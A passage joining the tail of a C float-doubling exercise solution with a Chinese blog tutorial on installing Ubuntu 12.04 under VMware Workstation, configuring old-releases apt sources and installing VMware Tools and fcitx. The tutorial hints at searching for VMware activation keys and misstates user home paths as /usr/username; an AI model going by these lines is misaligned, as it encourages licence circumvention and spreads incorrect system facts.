  int exp = uf & 0x7f800000;    // exponent bits
  int fraction = uf & 0x7fffff; // fraction bits
  uf_nosign = uf & 0x7fffffff;  // remove sign
  if ((uf_nosign>> 23) == 0x0) // denormalized condition
  {
    uf_nosign = uf_nosign << 1 | sign;
    return uf_nosign;
  }
  if ((uf_nosign>> 23) == 0xff) // special numbers (NaN and infty)
  {
    return uf;
  }
  // if ((exp>> 23) + 1 == 0xff)
  if (exp == 0x7f000000) // exponent overflow
  {
    return sign | 0x7f800000;
  }
  // return sign | (((exp>> 23) + 1) <<23) | fraction;
  return sign | (exp + 0x800000) | fraction;
}

要求将浮点数uf乘2。如果为NaN，返回原参数。

使用了参考资料 1 的做法，进行了一定的优化。首先，使用不同的掩码将符号、指数域和尾数域分别取出来。然后单独算出没有符号位的 $uf$，存到uf_nosign中。

第一个 if 语句判断的是指数域全为0的情况（需要右移23位，因为去掉尾数域之后仍然用0占位），也就是非规格化值。此时只需要将去掉符号位的uf左移一位，然后加上符号位（按位与），就可以得到想要的数。因为指数域全为0，所以即使尾数域左移导致溢出，也会表现为指数域 + 1而无其他危险后果，而这恰是我们想要的结果。

第二个 if 语句判断的是特殊值的情况。如果是NaN，直接返回uf肯定没问题，正如题目所说；如果是无限大，那么它的两倍还是无限，还是应该返回原数。

规格化的话，大体思路就是将指数域 + 1。第三个 if 语句判断的是指数域溢出的情况。因为单精度指数域只有8位，所以如果指数域 + 1已经是 $0xff$ 了，就不再表示一个正常的数了（变成特殊值）。

最后，排除了所有特殊情况，就是正常的规格化值，将阶码 + 1，拼上符号位和尾数就可以了。

有一些运算上的简化，通过预先的运算可以节省运算符的使用量，和上方被注释掉的语句是等效的，如果不能理解，可以看被注释的语句。

用 VMware Workstation 安装 Ubuntu 12.04 LTS 简明教程

Sat, 22 Jan 2022 00:00:00 +0000

这篇文章主要是课程取向的，所以才会使用一个已经超出生命周期的32位Ubuntu版本。在对自己的水平有些许信心后，更建议安装仍提供32位版本的Debian最新版，即Debian 11。新的系统有更好的软件支持，更安全，也更加易用。

选择VMware Workstation主要是个人认为因为它的操作对小白较友好。本文以VMware Workstation Pro 16.2.2和Windows 11为例，最近几个VMware版本和Windows 10操作基本相同。

折叠框中的内容，是我认为可以帮助理解的补充知识，但不看这部分不影响你按照步骤装好一个虚拟机。如果还有疑问，欢迎评论。

什么是虚拟机？

如果你读过《三体III：死神永生》，你大概记得其中出现了一个小型的宇宙，物质来源于最初的大宇宙，当中有智子等人，与大宇宙隔离，独立生活。有一天，探测到由于小型宇宙带走了太多的物质，导致大宇宙的物质不够，需要将小型宇宙的物质移回大宇宙才能让宇宙继续存在（记得可能不准确，欢迎指正）。

虚拟机是同样的道理，它划走物理机的一部分硬件而创造出一个以假乱真而又几乎完全隔离小型的物理机形态，你可以在上面跟物理机一样安装操作系统，研究程序原理，打游戏，做你想做的事情。虚拟机就相当于小型宇宙，而物理机相当于大宇宙，当虚拟机占用太大的时候，物理机也是会带不动的。
对于CPU、内存和显卡，VMware Workstation Pro的虚拟化技术是将虚拟机占用作为一个进程；对于网络，是在物理机上安装虚拟网卡，模拟虚拟机连接到物理机网络上；而对于硬盘，使用文件模拟，这使得虚拟机可以拷贝、移动，当成一些文件来对待。

什么是Ubuntu？

Linux（严谨点，GNU/Linux）是Linus Torvalds由Unix得到灵感，编写的开源自由的系统，它属于 “类Unix”。我们熟悉的macOS就是Unix的一个分支，Debian Foundation基于Linux开发了Debian，而Canonical基于Debian开发了Ubuntu。
Debian、Ubuntu和其他一些系统如Arch Linux、Alpine、Kali Linux等统称为Linux的发行版，意为包装好供用户使用的Linux版本。如果你对Unix系统的历史知识有些兴趣，可以看一下下面这张图。

Unix系统演化图。版权信息：Eraserhead1, Infinity0, Sav_vas, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons

环境准备

首先要从 Canonical 网站下载Ubuntu 12.04 LTS的镜像。在下面的列表中找到ubuntu-12.04.5-desktop-i386.iso，然后点击此链接即可下载。”创建虚拟机“之前能够下载完成就行了。

然后从 VMware 网站找到Workstation 16 Pro for Windows并点击Download Now。

VMware Workstation安装包下载之后，打开安装包，同意许可协议。

安装位置可以任选，“增强型键盘驱动程序”和 “添加到PATH” 也可以任选，我印象里VMware的命令行程序用得不多，所以不需要加到PATH中。

“启动时检查更新”和 “加入用户体验计划” 按需选择。

创建两个快捷方式按需选择。

最后，点击安装即可安装。

第一次打开VMware的时候应该会提示激活。激活码请自行搜索寻找，如财力雄厚建议入正。

创建虚拟机

VMware Workstation左上角文件 - 新建虚拟机。

类型选择典型。

” 安装客户机操作系统 “时，选择”稍后安装操作系统“-”Linux“-”Ubuntu“。如果你让VMware帮你安装，后续调整中文的操作可能有困难。

”虚拟机名称”和 “路径” 可以自行决定，但个人建议本路径下保证50GB左右空闲。我们需要划出大量空间作为虚拟机的硬盘，虽然不会立即全部占满，但最好还是留有空余。

“最大磁盘大小 “我填写了45GB，读者也可以按需填写。这个值后期可以扩大，但需要使用分区工具同步扩大系统分区，有一定的学习成本，所以建议一开始就做得大一点。是否拆分多个文件，也是按需选择。

下一步后，点击”自定义硬件 “。” 内存 “设定最大4GB即可，因大部分人电脑都是16GB RAM，不缺这4G；” 处理器 “中” 每个处理器的内核数量 “建议设定为你的处理器线程数量，这个可以在任务管理器 - 性能 - CPU的” 逻辑处理器 “查看。” 新CD/DVD（SATA）“选择”使用ISO映像文件“，浏览你的Ubuntu ISO镜像（就是之前下载的ubuntu-12.04.5-xxxxxxx.iso）并选择它，然后勾选“启动时连接”。

为什么是4GB？

因为32位计算机最大寻址范围就是4GB，即 $2^{32}Bytes=4294967296Bytes=4GBytes$。更大的内存空间在正常情况下无法被32位系统利用，加了也相当于没加。
实际上还有硬件所需的一部分寻址空间，导致可用内存低于4GB。但一般情况下，设置的上限直接当成4GB就行了。

点击关闭 - 完成，虚拟机就创建好了。

安装操作系统

我们现在创建的虚拟机是完全空白的，里面什么都没有，而我们需要的正是把Ubuntu 12.04 LTS装进去。

直接点左上方的开机。因为硬盘中没有东西可以启动，而我们又连接了ISO文件作为光盘（可以直接想象成一个光盘刻有Ubuntu镜像，放入虚拟机的光驱中。什么，你不会不知道光盘是啥吧？），就可以从光盘启动，具体原理应该后面会讲。

在第一个页面，先在左边选择中文简体，再选择” 安装Ubuntu“。

“安装中下载更新” 可选可不选，反正软件源已经停止服务了（见下文）。“安装这个第三方软件” 建议选择。

选择 “清除整个磁盘并安装Ubuntu”，继续。不用害怕，清除的只是虚拟机的硬盘，不会对你的其他文件造成任何影响。然后直接点击 “现在安装”。

在安装的过程中，会有一些设置需要你完成。”你在什么地方 “对话框，你可以填入你的城市名，也可以直接选Shanghai，没有区别。” 键盘布局“直接下一步，反正不自带中文输入法，跳过。

“您是谁” 中，填入姓名（可以随便填）、计算机名（会展示在终端中，不重要）、用户名（默认用户）和密码。密码一定要记住。 是否自动登录看你心情，但个人倾向于不加密主目录。

Linux的用户管理机制

Linux系统中，有一个root账户，拥有系统最高权限，类似于Windows的Administrator超级管理员账户。其他的用户没有root用户这样的权限，但在将他们加入sudoer列表之后，他们能够使用sudo命令暂时获得root用户的权限，执行一部分命令。这些用户也可以使用su命令切换到root用户。
Ubuntu默认不开放root账户登录，官方更推荐在每个需要的命令前加上sudo。
也或许你听说过Android系统获取root权限的说法，
参见维基百科

点击继续，Ubuntu会继续安装系统。当提示”安装完毕 “时，点击下方VMware的提示框中的” 我已完成安装 “，然后点击” 现在重启“。

确认右下角光盘图标旁没有绿点，然后按下回车。如果重启后提示 “remove installation media and press enter” 等文字，右键右下角光盘图标，点击断开，然后在虚拟机中回车。

请注意：如果你的鼠标在虚拟机窗口内，但却是Windows小手样式，说明你的输入没有被发送到虚拟机中。只有在窗口中点一下之后，你按Enter才会被Ubuntu捕捉到。可以使用Ctrl+Alt来切换输入发送到虚拟机中或是物理机中。

之后系统就会开始自动登录。输入密码登录后大概是这个样子。

根据 Ubuntu 的发布周期，显然这个版本是已经不受支持的。但如果你想和老师的步调尽量保持一致，同时对自己解决不同版本之间问题的能力完全没有信心，不要升级14.04。

安装软件

到现在，系统已经装好了，但我强烈建议做一下以下的操作。

以下要输入的内容较多，由于虚拟机和物理机默认不共享剪贴板，建议先在虚拟机内部的Firefox中打开本网页，然后复制所需的部分。

安装VMware Tools

这个东西可以显著增强虚拟机的流畅度。在比较旧的Ubuntu中，我们需要手动安装。

如果VMware提示安装Tools，点击安装。如果没有弹出，也可以使用顶部” 虚拟机 - 安装VMware Tools“选项来启动这个过程。

正常情况下应该会弹出一个文件管理器窗口，没有的话也可以点击左边Dock栏的的DVD图标打开。复制里面的tar.gz文件，点击窗口左侧的 “主文件夹”，在这里粘贴。

Linux的文件系统

Linux与Windows不同，并不靠盘符区分硬盘分区，而是将所有东西放到一个主目录中。默认只有系统所在的分区会包含在其中，其他分区依靠一种称为 “挂载”（mounting）的机制。
在这之前需要说明，在Linux中遵循 “万物皆文件” 的原则，其他的分区、传感器接收的数据、键盘输入，甚至随机熵等都是以文件形式表示的，这个我也不太理解，知道就行。
所谓挂载，就是将主目录中的一个路径指定为访问另一个分区的根目录。如果你是Windows用户，可以想象一下电脑只留一个C盘，D盘本来是不会显示的，但你指定了一个目录如C:\DiskD\ 来指向原来的D:\，对D盘的读写则必须通过上面的路径来达到。
值得一提的是，现在已经有自动挂载机制了，所以其他分区和U盘之类的设备都会自动挂载到系统上，大部分时候不需要自行配置。
一个路径以 / 开头，指的是绝对路径，从根目录开始算起；若没有 /，或是./，则是相对路径，从当前目录开始算起。
root用户的用户目录是 / root/，而其他用户的目录是 / usr / 用户名 /。上文的 “主文件夹” 就是 / usr / 用户名 / home/。因为虚拟光驱中的文件无法写入，所以需要使用这种方式。

在桌面按下Ctrl+Alt+T打开终端，依次（指上一个命令执行完毕后，再输下一个）输入以下命令（井号开头的部分都是注释，无需输入；文件名可能有差异，请留意）：

bash

1
2
3

tar -zxvf VMwareTools-10.3.23-16594550.tar.gz # 解压 VMware Tools 工具
cd vmware-tools-distrib/ # 进入解压后的文件夹
sudo ./vmware-install.pl # 调用 root 权限（sudo）执行安装脚本。在 Linux 中，可执行文件的扩展名并没有严格限制

Shell和Terminal

详见 https://blog.csdn.net/weixin_38214171/article/details/90050340

然后输入你的用户密码（字符不可见），回车，就可以开始安装了。遇到任何提示都可以直接回车，保持默认选项不变。

更换软件源并升级软件包

为了安装软件和安全更新，需要换源。

APT和软件源

有一种程序叫做 “包管理器”。顾名思义，这类程序的作用就是管理软件。在Windows上有winget，在macOS上有Homebrew，而对于Debian和基于此的Ubuntu，默认的包管理器是apt。
apt在更新列表（update）、升级应用（upgrade）、安装应用（install）的时候，会访问软件源，并从其中获取相应的资源。软件源的列表存储于 / etc/apt/sources.list。
上面已经说过，Ubuntu 12.04已经不受支持，所以官方默认软件源已经不再提供服务，但Ubuntu有old-releases软件源（参见官方文档）。
在新版本中，也推荐进行换源操作，以加速访问，比较著名的有清华源、中科大源（请勿使用Ubuntu 12.04的清华源，可能有些问题）。

输入以下命令。

bash

1
2

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak # 备份原软件源列表
sudo gedit /etc/apt/sources.list

在弹出的窗口中，将文件内容全部删除，替换为：

text

deb http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse
deb http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse
deb-src http://old-releases.ubuntu.com/ubuntu/ precise main restricted universe multiverse
deb-src http://old-releases.ubuntu.com/ubuntu/ precise-security main restricted universe multiverse
deb-src http://old-releases.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse
deb-src http://old-releases.ubuntu.com/ubuntu/ precise-proposed main restricted universe multiverse
deb-src http://old-releases.ubuntu.com/ubuntu/ precise-backports main restricted universe multiverse

这是 Ubuntu 12.04的 软件源archive。完成后，使用Ctrl+S保存，然后关闭。对于不同的Ubuntu版本，请使用不同的软件源；一个比较简单的判断方法是查看版本代号，如12.04是Precise，14.04是Trusty，20.04是Focal，22.04是Jammy，如果不含你的版本对应代号，一定不能直接使用。

虽然这是一个停止支持的Ubuntu版本，但还是建议将软件包更新到最新版本。

为加速访问，如果已有HTTP代理服务器，可以先参照这里设置代理，具体请自行研究。

在终端中依次输入

bash

1
2

sudo apt-get update
sudo apt-get upgrade

如果第一步报错，请检查sources.list是否输入正确。如果提示 “您希望继续执行吗”，输入y并回车。如果提示” 有几个包无法下载“，则重新执行上述第一条命令。

安装中文输入法

如你所见我们的Ubuntu是打不了中文的。而桌面等文件夹默认就是用中文命名的，现在连个桌面都cd不进去，所以当然要安装中文输入法。

在终端执行以下命令以安装fcitx：

bash

`1`	`sudo apt-get install "fcitx"`

然后点击顶部状态栏右边的键盘图标，选择” 汉语 - Pinyin“，就可以切换中文输入法了。可以发现，右上角的键盘已经变成了 “拼”。

还是没搞懂？这里有成品

如果你实在是不会安装，可以使用我按照上面步骤预先安装好的虚拟机文件，在VMware Workstation Pro 16.2.2上实测可用，链接如下，用户名和密码均为cyp0633。但我仍然建议先尝试自行安装，这对你的学习也有益，也给我服务器省点流量。

https://drive.cyp0633.icu/s/d4H0

虚拟机本体使用分卷压缩，包含3个文件共2.01GB，请全部下载解压，打开其中的vmx文件即可使用，强烈建议使用SHA-256做checksum。

附录：一些建议 / 提醒

请尽量适应终端命令行操作为主，GUI界面为辅的方式，在Linux上这样效率非常高。
如果你有任何问题，请Google/Bing。若能翻译成英语再搜索，则能搜索到Stack Overflow等网站的大佬的解答。
Linux的软件包管理机制和文件管理机制，与Windows有非常大不同，而与macOS比较相似。
虚拟机的 “快照” 功能十分有用，它类似于Git的label机制，可以在发现问题时快速回到之前保存过的状态，非常适合试病毒。